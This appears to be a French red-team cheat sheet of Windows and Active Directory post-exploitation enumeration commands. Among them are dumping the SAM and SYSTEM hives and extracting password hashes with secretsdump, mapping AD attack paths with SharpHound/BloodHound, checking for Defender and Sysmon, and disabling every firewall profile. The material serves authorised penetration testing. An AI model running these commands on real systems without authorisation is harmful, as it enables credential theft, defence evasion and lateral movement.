REDTEAM – Windows Enumeration

L’objectif de l’énumération post-exploitation est de recueillir autant d’informations que possible sur le système compromis et son réseau. Ces informations nous permettrons par la suite de nous latéraliser sur le réseau ou d’obtenir des privilèges plus élevés .

Easy Win

WinPEAS

Dumps de la base de registres

 reg save hklm\system system.bak
reg save hklm\sam sam.bak

Récupération des hashs des mots de passe

python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Utilisateur

whoami /all

Nom

whoami        # <domain-name>\<username>
whoami /UPN   # Principal Name : <username>@<domaine> 
whoami /FQDN  # Fully Qualified Domain Name : CN=,CN=,OU=,DC=,DC=

Privilèges

whoami /priv         

Groupes

whoami /groups

Paramètres des comptes

net accounts       

Autres utilisateurs

net user

Autres groupes

net group
net localgroup
net localgroup administrators

Active Directory (only)

Readme

Les commandes net ... /domain doivent être exécutées à partir d’une machine liée au domaine. Sinon elle prendra par défaut le domaine WORKGROUP. Si l’utilisateur a un petit nombre de groupes AD, cette commande sera en mesure d’afficher ses groupes. Au-delà de dix groupes, la commande ne les listera pas toutes.

MMC (Microsoft Management Console)

Il est possible d’utiliser MMC pour accéder à l’outils d’administration des serveurs à distance (RSAT) AD Snap-Ins. Cela permet de voir et de modifier le contenu de l’AD à distance.

On peut installer les outils RSAT uniquement sur les éditions professionnelles ou entreprise du système d’exploitation Windows :

1. Press Start
2. Search "Apps & Features" and press enter
3. Click Manage Optional Features
4. Click Add a feature
5. Search for "RSAT"
6. Select "RSAT: Active Directory Domain Services and Lightweight Directory Tools" and click 7. Install

Si nous lançons MMC normalement, cela ne fonctionnera pas si notre ordinateur n’est pas relié au domaine et que notre compte local ne peut pas être utilisé pour s’authentifier sur le réseau. Il faudra alors utiliser runas.exe /netonly pour spécifier les identifiants à utiliser sur le réseau. Une fois cela fait nous pouvons installer RSAT AD Snap-Ins :

1. Click File -> Add/Remove Snap-in
2. Select and Add all three Active Directory Snap-ins
3. Click through any errors and warnings
4. Right-click on Active Directory Domains and Trusts and select Change Forest
5. Enter the DC domain as the Root domain and Click OK
6. Right-click on Active Directory Sites and Services and select Change Forest
7. Enter the DC domain as the Root domain and Click OK
8. Right-click on Active Directory Users and Computers and select Change Domain
9. Enter the DC domain as the Domain and Click OK
10. Right-click on Active Directory Users and Computers in the left-hand pane
11. Click on View -> Advanced Features

On peut ensuite lancer MMC via runas si besoin :

runas.exe /netonly /user:<domain>\<username> cmd.exe

C:\Windows\System32> mmc.exe

Pour vérifier que l’on a bien fourni les bons identifiants, on peut executer la commande :

dir \\<domain>\sysvol

Domaine

Systeminfo | Findstr Domain
Get-ADDomain -Server <domain>

Ordinateurs

Lister les ordinateurs visibles du domaine
Get-ADComputer  -Filter *
Lister les ordinateurs d’une OU de l’AD
Get-ADComputer -Filter * -SearchBase "OU=dev,DC=hacktivity,DC=local"

Utilisateurs

Lister les utilisateurs de l’AD actifs
net user /domain
Get-ADUser  -Filter *
Get-ADUser  -Filter * -Server <domain>
Lister les utilisateurs d’une OU de l’AD
Get-ADUser -Filter * -SearchBase "OU=dev,DC=hacktivity,DC=local"
Informations sur un utilisateur
net user <username> /domain
Get-ADUser -Identity <username> -Properties *
Get-ADUser -Identity <username> -Server <domain> -Properties *

Groupes

Lister les groupes de l’AD
net group /domain
Get-ADGroup -Filter *
Get-ADGroup -Filter * -Server <domain>
Informations sur un groupe
net group "<group-name>" /domain
Get-ADGroup -Identity <group-name> 
Get-ADGroup -Identity <group-name> -Server <domain>
Get-ADGroupMember -Identity <group-name> -Server <domain>
Compte Administateur Description
BUILTIN\Administrator Local admin access on a domain controller
Domain Admins Administrative access to all resources in the domain
Enterprise Admins Available only in the forest root
Schema Admins Capable of modifying domain/forest; useful for red teamers
Server Operators Can manage domain servers
Account Operators Can manage users that are not in privileged groups

Politiques de compte

net accounts /domain

Autres

Objets de l’AD qui ont été modifiés après une certaine date
$ChangeDate = New-Object DateTime(2023, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server <domain>
Comptes avec un badPwdCount > 0
Get-ADObject -Filter 'badPwdCount -gt 0' -Server <domain>

Bloodhound / SharpHound

Bloodhound permet de visualiser l’environnement AD sous forme de graphe. Chaque connexion est un chemin possible qui pourrait être exploité pour atteindre un but.

Cette pensée basée sur les graphes a ouvert un monde aux attaquants. Les attaquants peuvent désormais utiliser ces données hors ligne pour trouver des chemins d’attaque, montrant précisément les étapes et les sauts nécessaires. Ils peuvent ensuite revenir et atteindre leur objectif en quelques minutes.

Sharphound est l’outil d’énumération de Bloodhound : il récupère l’information sur le réseau et la machine. Il existe trois différents collecteurs de Sharphound :

  • Sharphound.exe – Une version exécutable (recommandé).
  • Sharphound.ps1 – Script PowerShell
  • AzureHound.ps1 – Script PowerShell pour l’exécution d’instances Sharphound pour Azure (Microsoft Cloud Computing Services)
Extraction

Ne touche pas à l’AD (–ExcludeDCs) :

SharpHound.exe --CollectionMethods All --Domain <domain> --ExcludeDCs
scp <username>@<IP/FQDN>:<Path>/<Sharphound ZIP> .
Analyse
neo4j console start
bloodhound --no-sandbox

Drag & Drop le fichier zip et happy graphing !

Solutions de sécurité

Solution antivirus installée

Windows servers may not have SecurityCenter2 namespace

wmic /namespace:\\root\securitycenter2 path antivirusproduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Status de Windows Defender
Get-Service WinDefend
Status   Name               DisplayName
------   ----               -----------
Running  WinDefend          Windows Defender Antivirus Service
Configuration de Windows Defender
Get-MpComputerStatus
Liste des anciennes menaces détectées sur la machine
Get-MpThreat
Status du pare-feu
Get-NetFirewallProfile | Format-Table Name, Enabled 
Name    Enabled
----    -------
Domain     True
Private    True
Public     True
Règles du pare-feu
Get-NetFirewallRule | select DisplayName, Action, Direction, Description, Enabled
Désactiver les pare-feu
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
Tester la connection à un port
Test-NetConnection -ComputerName <IP/ComputerName> -Port <PORT>

Journaux d’évenements

Lister les journaux
Get-EventLog

  Max(K) Retain OverflowAction        Entries Log
  ------ ------ --------------        ------- ---
     512      7 OverwriteOlder             59 Active Directory Web Services
  20,480      0 OverwriteAsNeeded         512 Application
     512      0 OverwriteAsNeeded         170 Directory Service
 102,400      0 OverwriteAsNeeded          67 DNS Server
  20,480      0 OverwriteAsNeeded       4,345 System
  15,360      0 OverwriteAsNeeded       1,692 Windows PowerShell
Vérifier la présence de Sysmon
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    373      15    20212      31716              3316   0 Sysmon

Ou chercher un service :

Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"
Get-Service | where-object {$_.DisplayName -like "*sysm*"}
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational

Applications & Services

Liste des app. installées
 wmic product get name,version
Liste des services
net start
wmic service where "name like '<ServiceName>'" get Name,PathName

Fichiers / Dossiers intéressants

SYSVOL

SYSVOL est un dossier qui existe sur tous les contrôleurs de domaine. Il s’agit d’un dossier partagé qui stocke les objets de stratégie de groupe (GPO) et les informations, ainsi que tous les autres scripts liés au domaine. Il est nécessaire de configurer notre DNS pour accéder à SYSVOL.

$dnsip = "<DNS/DC IP>"
$index = Get-NetAdapter -Name '<interface-name>' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
dir \\<domain-fqdn>\SYSVOL

Latéralisation

ipconfig
ipconfig /all
Connexions courantes
nestat -bno
nestat -abno
Table ARP
arp -a
DNS
dig -t AXFR <DOMAIN-NAME> @<DNS-SERVER>
SMB
net share
SNMP
/opt/snmpcheck/snmpcheck.rb <IP> -c COMMUNITY_STRING